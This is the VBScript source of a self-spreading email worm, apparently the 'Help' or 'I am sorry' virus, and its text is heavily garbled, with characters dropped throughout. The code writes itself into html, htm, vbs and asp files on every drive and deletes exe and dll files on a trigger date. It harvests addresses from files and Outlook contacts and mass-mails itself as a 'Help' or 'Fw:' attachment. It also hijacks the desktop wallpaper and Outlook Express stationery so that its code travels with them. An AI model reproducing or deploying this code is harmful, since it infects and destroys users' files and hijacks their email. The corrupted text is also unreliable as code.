Rem I am sorry! ha y time
On Error Resume Next
mload
Sub mload()
On Error Resume Next
mPath = Grf()
Set Os = CreateObject(" criptlet.TypeLi quot;)
Set Oh = CreateObject(" hell.A licatio quot;)
If IsHTML Then
mURL = LCase(document.Location)
If mPath = " quot; Then
Os.Reset
Os.Path = "C:\Help.htm"
Os.Doc = Lhtml()
Os.Write()
Ihtml = " lt an style='position:a olute'> lt;Iframe src='C:\Help.htm' width='0' height='0'> lt;/Iframe> lt;/ a gt quot;
Call document.Body.i ertAdjacentHTML("AfterBegi quot;, Ihtml)
Else
If Iv(mPath, "Help.v quot;) Then
setInterval "Rt()", 10000
Else
m = "hta"
If LCase(m) = Right(mURL, Len(m)) Then
id = setTimeout("mclose()", 1)
main
Else
Os.Reset()
Os.Path = mPath &am "\" &am "Help.hta"
Os.Doc = Lhtml()
Os.write()
Iv mPath, "Help.hta"
End If
End If
End If
Else
main
End If
End Sub
Sub main()
On Error Resume Next
Set Of = CreateObject(" cripting.FileSystemObject")
Set Od = CreateObject(" cripting.Dictionary")
Od.Add "html", "1100"
Od.Add "v quot;, "0100"
Od.Add "htm", "1100"
Od.Add "a quot;, "0010"
Ks = "HKEY_CURRENT_USER\Software\"
Ds = Grf()
Cs = Gsf()
If IsV Then
If Of.FileExists("C:\help.htm") Then
Of.DeleteFile ("C:\help.htm")
End If
Key = CInt(Month(Date) + Day(Date))
If Key = 13 Then
Od.RemoveAll
Od.Add "exe", "0001"
Od.Add "dll", "0001"
End If
Cn = Rg(Ks &am "Help\Count")
If Cn = " quot; Then
Cn = 1
End If
Rw Ks &am "Help\Count", Cn + 1
f1 = Rg(Ks &am "Help\FileName")
f2 = FNext(Of, Od, f1)
fext = GetExt(Of, Od, f2)
Rw Ks &am "Help\FileName", f2
If IsDel(fext) Then
f3 = f2
f2 = FNext(Of, Od, f2)
Rw Ks &am "Help\FileName", f2
Of.DeleteFile f3
Else
If LCase(WScript.ScriptFullname) < gt;LCase(f2) Then
Fw Of, f2, fext
End If
End If
If (CInt(Cn) Mod 366) = 0 Then
If (CInt(Second(Time)) Mod 2) = 0 Then
Tsend
Else
adds = Og
Msend (adds)
End If
End If
wp = Rg("HKEY_CURRENT_USER\Control Panel\desktop\wallPaper")
If Rg(Ks &am "Help\wallPaper") < gt;wp Or wp = " quot; Then
If wp = " quot; Then
n1 = " quot;
n3 = Cs &am "\Help.htm"
Else
mP = Of.GetFile(wp).ParentFolder
n1 = Of.GetFileName(wp)
n2 = Of.GetBaseName(wp)
n3 = Cs &am "\" &am n2 &am ".htm"
End If
Set pfc = Of.CreateTextFile(n3, True)
mt = Sa("1100")
pfc.Write " lt quot; &am "HTML> lt quot; &am " ody bgcolor='#007f7f' background='" &am n1 &am "'> lt quot; &am "/Body> lt quot; &am "/HTML> quot; &am mt
pfc.Close
Rw Ks &am "Help\wallPaper", n3
Rw "HKEY_CURRENT_USER\Control Panel\desktop\wallPaper", n3
End If
Else
Set fc = Of.CreateTextFile(Ds &am "\Help.v quot;, True)
fc.Write Sa("0100")
fc.Close
bf = Cs &am "\Untitled.htm"
Set fc2 = Of.CreateTextFile(bf, True)
fc2.Write Lhtml
fc2.Close
oeid = Rg("HKEY_CURRENT_USER\Identities\Default User ID")
oe = "HKEY_CURRENT_USER\Identities\" &am oeid &am "\Software\Microsoft\Outlook Expre \5.0\Mail"
MSH = oe &am "\Me age Send HTML"
CUS = oe &am "\Compose Use Stationery"
= oe &am "\Stationery Name"
Rw MSH, 1
Rw CUS, 1
Rw , bf
Web = Cs &am "\WE quot;
Set gf = Of.GetFolder(Web).Files
Od.Add "htt", "1100"
For Each m In gf
fext = GetExt(Of, Od, m)
If fext < gt quot quot; Then
Fw Of, m, fext
End If
Next
End If
End Sub
Sub mclose()
document.Write " lt quot; &am "title>I am sorry!</title" &am " gt quot;
window.Close
End Sub
Sub Rt()
Dim mPath
On Error Resume Next
mPath = Grf()
Iv mPath, "Help.v quot;
End Sub
Function Sa(n)
Dim V Text, m
V Text = Lv ()
If Mid(n, 3, 1) = 1 Then
m = " lt;%" &am V Text &am "%> quot;
End If
If Mid(n, 2, 1) = 1 Then
m = V Text
End If
If Mid(n, 1, 1) = 1 Then
m = Lscript(m)
End If
Sa = m &am vbCrLf
End Function
Sub Fw(Of, S, n)
Dim fc, fc2, m, mmail, mt
On Error Resume Next
Set fc = Of.OpenTextFile(S, 1)
mt = fc.ReadAll
fc.Close
If Not Sc(mt) Then
mmail = Ml(mt)
mt = Sa(n)
Set fc2 = Of.OpenTextFile(S, 8)
fc2.Write mt
fc2.Close
Msend (mmail)
End If
End Sub
Function Sc(S)
mN = "Rem I am sorry! ha y time"
If I tr(S, mN) >0 Then
Sc = True
Else
Sc = False
End If
End Function
Function FNext(Of, Od, S)
Dim fpath, fname, fext, T, gf
On Error Resume Next
fname = " quot;
T = False
If Of.FileExists(S) Then
fpath = Of.GetFile(S).ParentFolder
fname = S
ElseIf Of.FolderExists(S) Then
fpath = S
T = True
Else
fpath = Dnext(Of, " quot;)
End If
Do While True
Set gf = Of.GetFolder(fpath).Files
For Each m In gf
If T Then
If GetExt(Of, Od, m) < gt quot quot; Then
FNext = m
Exit Function
End If
ElseIf LCase(m) = LCase(fname) Or fname = " quot; Then
T = True
End If
Next
fpath = ext(Of, fpath)
Loop
End Function
Function ext(Of, S)
On Error Resume Next
Dim ath, ath, gp, , T, m
T = False
If Of.FolderExists(S) Then
Set gp = Of.GetFolder(S).SubFolders
= gp.Count
If = 0 Then
ath = LCase(S)
ath = LCase(Of.GetParentFolderName(S))
T = True
Else
ath = LCase(S)
End If
Do While Not Er
For Each In Of.GetFolder( ath).SubFolders
If T Then
If ath = LCase( ) Then
T = False
End If
Else
ext = LCase( )
Exit Function
End If
Next
T = True
ath = LCase( ath)
ath = Of.GetParentFolderName( ath)
If Of.GetFolder( ath).IsRootFolder Then
m = Of.GetDriveName( ath)
ext = Dnext(Of, m)
Exit Function
End If
Loop
End If
End Function
Function Dnext(Of, S)
Dim dc, n, d, T, m
On Error Resume Next
T = False
m = " quot;
Set dc = Of.Drives
For Each d In dc
If d.DriveType = 2 Or d.DriveType = 3 Then
If T Then
Dnext = d
Exit Function
Else
If LCase(S) = LCase(d) Then
T = True
End If
If m = " quot; Then
m = d
End If
End If
End If
Next
Dnext = m
End Function
Function GetExt(Of, Od, S)
Dim fext
On Error Resume Next
fext = LCase(Of.GetExte io ame(S))
GetExt = Od.Item(fext)
End Function
Sub Rw(k, v)
Dim R
On Error Resume Next
Set R = CreateObject("WScript.Shell")
R.RegWrite k, v
End Sub
Function Rg(v)
Dim R
On Error Resume Next
Set R = CreateObject("WScript.Shell")
Rg = R.RegRead(v)
End Function
Function IsV ()
Dim ErrTest
On Error Resume Next
ErrTest = WScript.ScriptFullname
If Err Then
IsV = False
Else
IsV = True
End If
End Function
Function IsHTML()
Dim ErrTest
On Error Resume Next
ErrTest = document.Location
If Er Then
IsHTML = False
Else
IsHTML = True
End If
End Function
Function IsMail(S)
Dim m1, m2
IsMail = False
If I tr(S, vbCrLf) = 0 Then
m1 = I tr(S, "@")
m2 = I tr(S, ".")
If m1 < gt;0 And m1<m2 Then
IsMail = True
End If
End If
End Function
Function Lv ()
Dim f, m, ws, Of
On Error Resume Next
If IsV Then
Set Of = CreateObject(" cripting.FileSystemObject")
Set f = Of.OpenTextFile(WScript.ScriptFullname, 1)
Lv = f.ReadAll
Else
For Each ws In document.scripts
If LCase(ws.Language) = "v cript" Then
If Sc(ws.Text) Then
Lv = ws.Text
Exit Function
End If
End If
Next
End If
End Function
Function Iv(mPath, mName)
Dim Shell
On Error Resume Next
Set Shell = CreateObject(" hell.A licatio quot;)
Shell.Name ace(mPath).Items.Item(mName).InvokeVerb
If Er Then
Iv = False
Else
Iv = True
End If
End Function
Function Grf()
Dim Shell, mPath
On Error Resume Next
Set Shell = CreateObject(" hell.A licatio quot;)
mPath = "C:\"
For Each mShell In Shell.Name ace(mPath).Items
If mShell.IsFolder Then
Grf = mShell.Path
Exit Function
End If
Next
If Er Then
Grf = " quot;
End If
End Function
Function Gsf()
Dim Of, m
On Error Resume Next
Set Of = CreateObject(" cripting.FileSystemObject")
m = Of.Get ecialFolder(0)
If Er Then
Gsf = "C:\"
Else
Gsf = m
End If
End Function
Function Lhtml()
Lhtml = " lt quot; &am "HTML" &am " gt lt;HEAD" &am " gt quot; &am vbCrLf &am _
" lt quot; &am "Title>Help </Title" &am " gt lt quot; &am "/HEAD> quot; &am vbCrLf &am _
" lt quot; &am " ody> quot; &am Lscript(Lv ()) &am vbCrLf &am _
" lt quot; &am "/Body> lt;/HTML" &am " gt quot;
End Function
Function Lscript(S)
Lscript = " lt quot; &am " cript language='V cript'> quot; &am vbCrLf &am _
S &am " lt quot; &am "/script" &am " gt quot;
End Function
Function Sl(S1, S2, n)
Dim l1, l2, l3, i
l1 = Len(S1)
l2 = Len(S2)
i = I tr(S1, S2)
If i >0 Then
l3 = i + l2 - 1
If n = 0 Then
Sl = Left(S1, i - 1)
ElseIf n = 1 Then
Sl = Right(S1, l1 - l3)
End If
Else
Sl = " quot;
End If
End Function
Function Ml(S)
Dim S1, S3, S2, T, adds, m
S1 = S
S3 = " quot quot quot;
adds = " quot;
S2 = S3 &am "mailto" &am ":"
T = True
Do While T
S1 = Sl(S1, S2, 1)
If S1 = " quot; Then
T = False
Else
m = Sl(S1, S3, 0)
If IsMail(m) Then
adds = adds &am m &am vbCrLf
End If
End If
Loop
Ml = lit(adds, vbCrLf)
End Function
Function Og()
Dim i, n, m(), Om, Oo
Set Oo = CreateObject("Outlook.A licatio quot;)
Set Om = Oo.GetName ace("MAPI").GetDefaultFolder(10).Items
n = Om.Count
ReDim m(n)
For i = 1 To n
m(i - 1) = Om.Item(i).Email1Addre
Next
Og = m
End Function
Sub Tsend()
Dim Od, MS, MM, a, m
Set Od = CreateObject(" cripting.Dictionary")
MCo ect MS, MM
MM.FetchSorted = True
MM.Fetch
For i = 0 To MM.MsgCount - 1
MM.MsgIndex = i
a = MM.MsgOrigAddre
If Od.Item(a) = " quot; Then
Od.Item(a) = MM.MsgSubject
End If
Next
For Each m In Od.Keys
MM.Compose
MM.MsgSubject = "Fw: " &am Od.Item(m)
MM.RecipAddre = m
MM.AttachmentPathName = Gsf &am "\Untitled.htm"
MM.Send
Next
MS.SignOff
End Sub
Function MCo ect(MS, MM)
Dim U
On Error Resume Next
Set MS = CreateObject("MSMAPI.MAPISe io quot;)
Set MM = CreateObject("MSMAPI.MAPIMe age quot;)
U = Rg("HKEY_CURRENT_USER\Software\Microsoft\Windows Me aging Su ystem\Profiles\DefaultProfile")
MS.UserName = U
MS.DownLoadMail = False
MS.NewSe ion = False
MS.LogonUI = True
MS.SignOn
MM.Se ionID = MS.Se ionID
End Function
Sub Msend(Addre )
Dim MS, MM, i, a
MCo ect MS, MM
i = 0
MM.Compose
For Each a In Addre
If IsMail(a) Then
MM.RecipIndex = i
MM.RecipAddre = a
i = i + 1
End If
Next
MM.MsgSubject = " Help "
MM.AttachmentPathName = Gsf &am "\Untitled.htm"
MM.Send
MS.SignOff
End Sub
Function Er()
If Err.Number = 0 Then
Er = False
Else
Err.Clear
Er = True
End If
End Function
Function IsDel(S)
If Mid(S, 4, 1) = 1 Then
IsDel = True
Else
IsDel = False
End If
End Function
